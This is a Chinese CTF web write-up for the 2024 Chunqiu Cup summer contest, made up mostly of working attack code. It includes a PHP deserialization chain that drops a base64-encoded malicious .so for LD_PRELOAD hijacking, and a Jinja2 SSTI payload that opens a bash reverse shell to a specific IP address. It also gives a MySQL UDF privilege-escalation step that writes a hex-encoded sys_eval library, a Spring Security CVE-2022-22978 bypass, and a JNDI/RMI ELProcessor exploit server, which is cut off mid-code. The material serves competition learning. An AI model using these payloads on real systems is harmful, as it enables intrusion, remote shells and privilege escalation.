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CHHHCHHOH 's BLOG

2024春秋杯网络安全联赛夏季赛 web wp

怎么说呢，其实也没太认真打，所以有些题也懒的做。

Hijack

反序列化加ld_preload

<?php
//highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
    $pattern = array('\'', '"','%','\(','\)',';','bash');
    $pattern = '/' . implode('|', $pattern) . '/i';
    if(preg_match($pattern,$a)){
        die("No injecting!!!");
    }
    return $a;
}
class ENV{
    public $key;
    public $value;
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }
    public function __wakeup()
    {
        if (isset($this->math->flag))
        {
            echo getenv("LD_PRELOAD");
            echo "YesYes";
        } else {
            echo "YesYesYes";
        }
    }
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

    public function __isset($arg1)
    {
        system("calc");
        $this->callback->p;
        echo "You are stupid, what exactly is your identity?";

    }

}
class FILE{
    public $filename;
    public $enviroment;
    public function __get($arg1){
        if("hacker"==$this->enviroment){
            echo "Hacker is bad guy!!!";
        }
    }
    public function __call($function_name,$value)
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
}
class FUN{
    public $fun;
    public $value;
    public function __get($name)
    {
        $this->fun->getflag($this->value);
    }
}

$payload = new ENV();
$payload->math= new DIFF();

//加载恶意so文件
$payload->math->callback = new FILE();
$payload->math->callback->enviroment = new ENV();
$payload->math->callback->enviroment->key = 'LD_PRELOAD';
$payload->math->callback->enviroment->value = '/tmp/194319dc305799ced9b87da133de2ed3.so';


//写恶意so文件
//$payload->math->callback = new FUN();
//$payload->math->callback->fun = new FILE();
//$payload->math->callback->fun->filename = '1.so';
//$payload->math->callback->value = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAAOA1AAAAAAAAAAAAAEAAOAALAEAAHgAdAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AUAAAAAAADYBQAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAADhAQAAAAAAAOEBAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAADQBAAAAAAAANAEAAAAAAAAAEAAAAAAAAAEAAAAGAAAAEC4AAAAAAAAQPgAAAAAAABA+AAAAAAAAMAIAAAAAAAA4AgAAAAAAAAAQAAAAAAAAAgAAAAYAAAAgLgAAAAAAACA+AAAAAAAAID4AAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAAKgCAAAAAAAAqAIAAAAAAACoAgAAAAAAACAAAAAAAAAAIAAAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAIAAAAAAADIAgAAAAAAAMgCAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAU+V0ZAQAAACoAgAAAAAAAKgCAAAAAAAAqAIAAAAAAAAgAAAAAAAAACAAAAAAAAAACAAAAAAAAABQ5XRkBAAAAEwgAAAAAAAATCAAAAAAAABMIAAAAAAAADQAAAAAAAAANAAAAAAAAAAEAAAAAAAAAFHldGQGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUuV0ZAQAAAAQLgAAAAAAABA+AAAAAAAAED4AAAAAAADwAQAAAAAAAPABAAAAAAAAAQAAAAAAAAAEAAAAEAAAAAUAAABHTlUAAgAAwAQAAAADAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQCkm99uEBQ3ZRHzN9/ggP4VDjO+TgAAAAACAAAACAAAAAEAAAAGAAAAAIgAAIAQAAAIAAAACQAAAO2Sc/DPSUmcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAXQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAcwAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAACAAAAAAAAAAAAAAAAAAAAAAAAAARgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAZAAAABIADgCTEQAAAAAAAD4AAAAAAAAAVQAAABIADgB5EQAAAAAAABoAAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAHBheWxvYWQAc3lzdGVtAGdldGV1aWQAZ2V0ZW52AHVuc2V0ZW52AGxpYmMuc28uNgBHTElCQ18yLjIuNQAAAAIAAQACAAEAAgABAAIAAQABAAAAAQABAHwAAAAQAAAAAAAAAHUaaQkAAAIAhgAAAAAAAAAQPgAAAAAAAAgAAAAAAAAAcBEAAAAAAAAYPgAAAAAAAAgAAAAAAAAAMBEAAAAAAAA4QAAAAAAAAAgAAAAAAAAAOEAAAAAAAADgPwAAAAAAAAYAAAACAAAAAAAAAAAAAADoPwAAAAAAAAYAAAAEAAAAAAAAAAAAAADwPwAAAAAAAAYAAAAGAAAAAAAAAAAAAAD4PwAAAAAAAAYAAAAHAAAAAAAAAAAAAAAYQAAAAAAAAAcAAAABAAAAAAAAAAAAAAAgQAAAAAAAAAcAAAADAAAAAAAAAAAAAAAoQAAAAAAAAAcAAAAJAAAAAAAAAAAAAAAwQAAAAAAAAAcAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPMPHvpIg+wISIsF2S8AAEiFwHQC/9BIg8QIwwAAAAAA/zXiLwAA8v8l4y8AAA8fAPMPHvpoAAAAAPLp4f///5DzDx76aAEAAADy6dH///+Q8w8e+mgCAAAA8unB////kPMPHvpoAwAAAPLpsf///5DzDx768v8lfS8AAA8fRAAA8w8e+vL/JY0vAAAPH0QAAPMPHvry/yWFLwAADx9EAADzDx768v8lfS8AAA8fRAAA8w8e+vL/JXUvAAAPH0QAAEiNPXkvAABIjQVyLwAASDn4dBVIiwUGLwAASIXAdAn/4A8fgAAAAADDDx+AAAAAAEiNPUkvAABIjTVCLwAASCn+SInwSMHuP0jB+ANIAcZI0f50FEiLBdUuAABIhcB0CP/gZg8fRAAAww8fgAAAAADzDx76gD0FLwAAAHUrVUiDPbIuAAAASInldAxIiz3mLgAA6Bn////oZP///8YF3S4AAAFdww8fAMMPH4AAAAAA8w8e+ul3////8w8e+lVIieVIjQV4DgAASInH6AD///+QXcPzDx76VUiJ5UiNBZwOAABIicfo1v7//0iFwHUHuAAAAADrGUiNBYEOAABIicfo6/7//7gAAAAA6NH+//9dwwAAAPMPHvpIg+wISIPECMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAADPAAAADgAAAAMAAAAAAAAAED4AAAAAAAAQLgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA2wAAAA8AAAADAAAAAAAAABg+AAAAAAAAGC4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAOcAAAAGAAAAAwAAAAAAAAAgPgAAAAAAACAuAAAAAAAAwAEAAAAAAAAFAAAAAAAAAAgAAAAAAAAAEAAAAAAAAACVAAAAAQAAAAMAAAAAAAAA4D8AAAAAAADgLwAAAAAAACAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA8AAAAAEAAAADAAAAAAAAAABAAAAAAAAAADAAAAAAAAA4AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAPkAAAABAAAAAwAAAAAAAAA4QAAAAAAAADgwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAD/AAAACAAAAAMAAAAAAAAAQEAAAAAAAABAMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABAEAAAEAAAAwAAAAAAAAAAAAAAAAAAAAQDAAAAAAAAArAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAHAwAAAAAAAAuAIAAAAAAAAcAAAAFAAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAoMwAAAAAAAKkBAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAA0TQAAAAAAAANAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==';
//
$test = urlencode(serialize($payload));
echo $test;

?>

brother

先ssti弹shell
?name={{lipsum.__globals__.get(%22os%22).popen(%22bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/124.221.19.214/2333%200%3E%261%27%22).read()}}
三个用户，好几个服务，但是都没什么用，唯一有用的就是知道把3306端口转发到6666端口，然后是ctf:123456


因为只有mysql是root起的，所以通过mysql读flag，然后就是udf提权

mysql -u ctf -P 6666 -p123456 -e "SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"

因为这个命令太长了，所以写到文件里，wget从服务器下载，然后bash运行

mysql -u ctf -P 6666 -p123456 -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
mysql -u ctf -P 6666 -p123456 -e "select * from mysql.func;"
mysql -u ctf -P 6666 -p123456 -e "select sys_eval('whoami')"
mysql -u ctf -P 6666 -p123456 -e "select sys_eval('cat /flag')"

ezSpring

break

有一个CVE-2022-22978，简而言之就是/.*不能匹配到换行符



所以/admin/lookup/1%0d%0a可以绕过

然后参考这篇文章，题目有Tomcat的依赖可以bypass，直接抄一个payload下来就可以了

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class test {
    public static void main(String[] args) throws Exception {


        System.setProperty("java.rmi.server.hostname","124.221.19.214");
        Registry registry = LocateRegistry.createRegistry(1099);
        // 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);

        // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
        ref.add(new StringRefAddr("forceString", "CHHHCHHOH=eval"));

        // 指定bitterz属性指定其setter方法需要的参数，实际是ElProcessor.eval方法执行的参数，利用表达式执行命令
        ref.add(new StringRefAddr("CHHHCHHOH", "Runtime.getRuntime().exec('calc')"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
